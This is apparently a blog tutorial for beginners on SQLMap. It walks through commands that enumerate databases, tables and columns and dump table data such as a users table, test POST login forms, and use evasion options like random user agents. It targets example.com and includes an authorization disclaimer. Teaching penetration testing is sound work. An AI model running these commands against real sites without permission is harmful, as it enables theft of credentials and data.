SQLMap

Author: AyuXploit

Introduction

SQLMap is a popular open-source penetration testing tool used to find and test SQL Injection vulnerabilities in websites and web applications. It helps security researchers and ethical hackers automate database testing.

This article covers the basics of SQLMap, important commands, enumeration techniques, and useful options in simple English.

What is SQL Injection?

SQL Injection is a web security vulnerability in which an attacker can manipulate database queries via user input fields.

If a website is not properly secured, attackers may:

• Access sensitive data
• Read database information
• Dump user credentials
• Modify records
• Gain unauthorized access

SQLMAP helps testers identify these vulnerabilities automatically.

Basic SQLMap Syntax

sqlmap -u "http://example.com/page.php?id=1"

Important Parameters

ParameterDescription-uTarget URL--dbsShow databases--tablesShow tables--columnsShow columns--dumpDump database data-DSelect database-TSelect table-CSelect column--riskSet risk level--levelSet testing level

Database Enumeration

Show Databases

sqlmap -u "http://example.com/page.php?id=1" --dbs

This command lists all available databases.

Select a Database

sqlmap -u "http://example.com/page.php?id=1" -D users_db --tables

This displays all tables inside the selected database.

Show Columns

sqlmap -u "http://example.com/page.php?id=1" -D users_db -T users --columns

This shows all columns from the selected table.

Dump Table Data

sqlmap -u "http://example.com/page.php?id=1" -D users_db -T users --dump

This command extracts data from the table.

Understanding Risk and Level

Risk

Risk decides how aggressive SQLMap will test the target.

--risk=1

Range:

• 1 = Low
• 2 = Medium
• 3 = High

Level

Level controls the number of tests SQLMap performs.

--level=5

Range:

• 1 = Basic testing
• 5 = Advanced testing

Higher levels take more time but perform deeper testing.

Working with POST Requests

Sometimes websites use POST methods instead of GET.

Get AyuXploit’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

Example:

sqlmap -u "http://example.com/login" --data="username=admin&password=test"

This allows SQLMap to test login forms and POST parameters.

Bypassing Basic Protection

Using Random User Agent

--random-agent

This changes the user-agent header automatically.

Batch Mode

--batch

This runs SQLMap without asking repeated questions.

Using Threads

--threads=5

Threads increase the speed of testing.

Common SQLMap Workflow

Step 1: Test the URL

sqlmap -u "target"

Step 2: Find Databases

--dbs

Step 3: Find Tables

-D database_name --tables

Step 4: Find Columns

-D database_name -T table_name --columns

Step 5: Dump Data

--dump

Why SQLMap is Popular

SQLMap is widely used because:

• It saves time
• It automates manual testing
• It supports multiple databases
• It has many advanced options
• It is beginner friendly

Important Note

SQLMap should only be used for educational purposes and authorized security testing.

Do not test websites without permission.

Unauthorized testing is illegal and unethical.

Final Thoughts

SQLMap is an excellent tool for learning web security and SQL Injection testing. Beginners can use it to understand how databases interact with web applications, while professionals use it during penetration testing engagements.

If you are interested in cybersecurity, learning SQLMap is a great step toward understanding web application security.

Suggested Professional Titles for Your Article

1. Understanding SQLMap for Beginners
2. A Simple Guide to SQLMap
3. SQLMap Basics Explained
4. Beginner’s Guide to SQL Injection Testing with SQLMap
5. Learning SQLMap Step by Step
6. SQLMap Enumeration and Database Testing
7. Introduction to SQLMap and SQL Injection
8. Practical SQLMap Guide for Beginners

Written by AyuXploit